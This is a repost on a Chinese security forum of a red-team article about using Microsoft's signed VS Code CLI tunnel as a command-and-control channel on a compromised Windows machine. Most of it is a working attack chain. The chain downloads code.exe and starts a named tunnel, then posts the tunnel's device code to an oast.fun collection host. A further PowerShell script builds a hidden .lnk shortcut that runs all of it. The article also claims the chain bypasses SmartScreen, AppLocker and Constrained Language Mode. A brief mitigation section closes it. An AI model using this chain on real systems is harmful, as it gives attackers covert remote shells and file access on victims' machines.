安全矩阵

 找回密码
 立即注册
搜索
查看: 921|回复: 0

你不知道的技巧之一《利用自带Microsoft 签名反向 Shell》

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-9-12 22:48:36 | 显示全部楼层 |阅读模式
本帖最后由 ivi 于 2023-9-12 22:50 编辑

良辰 HACK之道 2023-09-12 08:00 发表于中国香港

MS 提供了一个签名的二进制文件 (code.exe),它将通过 Microsoft 官方域 https://vscode.dev 建立命令与控制通道。C2 通信本身将通过 WebSockets 访问 https://global.rel.tunnels.api.visualstudio.com。攻击者只需要一个 Github 账户。
前言
最近我浏览了一些 MS 文档,偶然发现了这两页。
https://code.visualstudio.com/docs/remote/tunnels
https://code.visualstudio.com/blogs/2022/12/07/remote-even-better

那么我们这里有什么?VSCode 能够建立与远程系统的连接。
好吧,因为远程调试器并不新鲜,也不那么先有,但事情会变得更好。
在页面的最后,有些东西让事情变得更加有趣。Using the 'code' CLI
好的,有一个可移植的二进制文件可以解决这个问题,很好。
This CLI will output a vscode.dev URL tied to this remote machine, such as https://vscode.dev/tunnel//. You can open this URL on a client of your choosing.
好吧,有了MS域名,托管了C2频道,事情正在变得更好。VSCode 二进制文件也是代理感知且可移植的。
行动
如果我们在客户端上执行代码,并且在这里我们假设我们拥有它,那么我们可以引入 VSCode 的便携式版本,即代码 CLI。如果 VSCode 已安装,我们可以坚持安装的版本,没关系。让我们深入了解步骤。
准备客户
从这里获取客户端上的二进制文件:
https://code.visualstudio.com/sha/download? build=stable&os=cli-win32-x64
由于二进制文件是由 Microsoft 签名的,因此我们不需要处理 Mark-of-the-Web,因为它会被忽略,而且我们也会绕过 Smartscreen。如果结合后面看到的一些技巧,如果在默认配置下,我们还将绕过 Applocker 和 Powershell 约束语言模式。
二进制文件的证书如下:

Code.exe 由 MS 签名
在客户端上启动二进制文件。

  1. PS C:\temp> .\code.exe tunnel
  2. *
  3. * Visual Studio Code Server
  4. *
  5. * By using the software, you agree to
  6. * the Visual Studio Code Server License Terms (https://aka.ms/vscode-server-license) and
  7. * the Microsoft Privacy Statement (https://privacy.microsoft.com/en-US/privacystatement).
  8. *
  9. ✔ Do you accept the terms in the License Agreement (Y/n)? · yes
  10. To grant access to the server, please log into https://github.com/login/device and use code 71BC-3082
  11. ...
复制代码

我们按照说明操作,并在攻击者系统上打开提供的 URL。我们将看到设备代码身份验证,就像 Azure 中已知的那样。

之后,将建立代码隧道。

  1. PS C:\temp> .\code.exe tunnel
  2. *
  3. * Visual Studio Code Server
  4. *
  5. * By using the software, you agree to
  6. * the Visual Studio Code Server License Terms (https://aka.ms/vscode-server-license) and
  7. * the Microsoft Privacy Statement (https://privacy.microsoft.com/en-US/privacystatement).
  8. *
  9. Open this link in your browser https://vscode.dev/tunnel/itsmeC2/C:/temp
复制代码
通过浏览器或 VSCode 连接
因此,我们按照指示进行操作,并在攻击者计算机上的浏览器中打开该页面。
我们在受害者机器上得到了一个很好的工作项目。通过 URL,我们可以控制路径,这意味着如果我们只使用 C:,我们就可以在用户权限的限制内访问系统上的所有文件。因此,打开https://vscode.dev/tunnel/itsmeC2/C:并将 C: 添加到工作区。
太好了,我们可以远程浏览、阅读和编辑所有文件。
文件浏览很好,但是命令执行呢?我们只需说:菜单 -> 终端 -> 新建终端
我们在客户端上获得了一个很好的 Powershell 远程会话。
Remoteshell 拥有我们想要的一切
访问历史记录
语法高亮
制表符补全
作业控制 - 意味着交互式
这是一个反应灵敏、可用的远程 Powershell 会话。
除了 Powershell 会话之外,还有一些其他可能性,例如运行任务、“运行和调试”文件或者我们可以进行本地端口转发。
一个很好的功能是在远程主机上安装扩展。
例如,如果主机上安装了Python,我们现在可以运行一些Python脚本。这里需要注意的是,我们需要将文件保存到磁盘,但可能有一些方法可以解决它。
通过 VSCode Desktop 连接非常简单,您只需要官方 MS 博客文章中所述的扩展即可。
构建攻击链
让我们尝试构建一个完整的攻击链。首先,我们应该检查是否可以去掉启动隧道的交互部分并在命令行上提供参数。
我们可以提供一个名称来为我们的会话获取固定的实例名称:
  1. .\code.exe tunnel --name itsmeC2V2
复制代码
然后就是认证的问题。关于
https://github.com/microsoft/vscode/issues/170013,我们必须使用 Github OAuth 刷新令牌进行身份验证。
我没有设法让 Github OAuth 令牌身份验证正常工作,因此需要执行额外的步骤,将设备代码发布到https://app.interactsh.com/#/
一个非常基本的链,如果没有混淆,可能看起来像这样。
  1. cd C:\tmp #change folder
  2. iwr -uri https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip -OutFile vscode.zip #download binary
  3. Expand-Archive vscode.zip #Expand the zip
  4. cd vscode
  5. .\code.exe tunnel user logout #logout previous user, if existing
  6. Start-Sleep 3
  7. Start-Process -FilePath .\code.exe  -ArgumentList "tunnel --name Ooooopsie2000" -RedirectStandardOutput  .\output.txt #start tunnel and redirect the output to a txt file
  8. Start-Sleep 3
  9. iwr -uri cf8ryhj2vtc0000w93v0g8wcxjyyyyyyb.oast.fun -Method Post -Body (Get-Content .\output.txt) #Post output to interact.sh for the code
复制代码

我们可以建立一个快捷方式来启动链条。
  1. #Payload
  2. $EXEPath = "$env:windir\System32\WindowsPowerShell\v1.0\powershell.exe"
  3. $pay = 'cd C:\tmp; iwr -uri https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip -OutFile vscode.zip; Expand-Archive vscode.zip; cd vscode; .\code.exe tunnel user logout; Start-Sleep 3; Start-Process -FilePath .\code.exe  -ArgumentList "tunnel","--name","Ooooopsie2000" -RedirectStandardOutput  .\output.txt; Start-Sleep 3; iwr -uri cf9dk1w2vtc0000vhr10g8ws3ohyyyyyb.oast.fun -Method Post -Body (Get-Content .\output.txt)'
  4. $arguments = " -nop -c $pay"


  5. #lnk file
  6. $LNKName = 123
  7. $obj = New-Object -ComObject WScript.Shell
  8. $link = $obj.CreateShortcut((Get-Location).Path + "" + $LNKName + ".lnk")
  9. $link.WindowStyle = '7'
  10. $link.TargetPath = $EXEPath
  11. $link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13"
  12. $link.Arguments = $arguments
  13. $link.Save()
复制代码
如果我们添加一些众所周知的 Applocker 绕过路径(例如 C:\Windows\Temp)并指定一个工作目录,--cli-data-dir我们也可以过基本的 Applocker 配置,即使由没有管理员权限的用户在受限语言模式 (CLM) 下运行 Powershell。






缓解措施
代码二进制文件正在生成一个 Nodejs 应用程序和一些 Powershell 脚本,这些脚本可以被检测到。
global.rel.tunnels.api.visualstudio.com正如微软所说, 通信是通过 WebSockets 进行的,因此可以被阻止。https://code.visualstudio.com/docs/remote/tunnels
If you're part of an organization who wants to control access to Remote Tunnels, you can do so by allowing or denying access to the domain global.rel.tunnels.api.visualstudio.com.
在隧道模式下启动 VSCode,会在磁盘上删除一些 JSON 文件。文件的位置通过参数移交--cli-data-dir,但默认为: %UserProfile%\.vscode-cli

参考
https://badoption.eu/blog/2023/01/31/code_c2.html
转自红队笔记录。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 07:39 , Processed in 0.013321 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表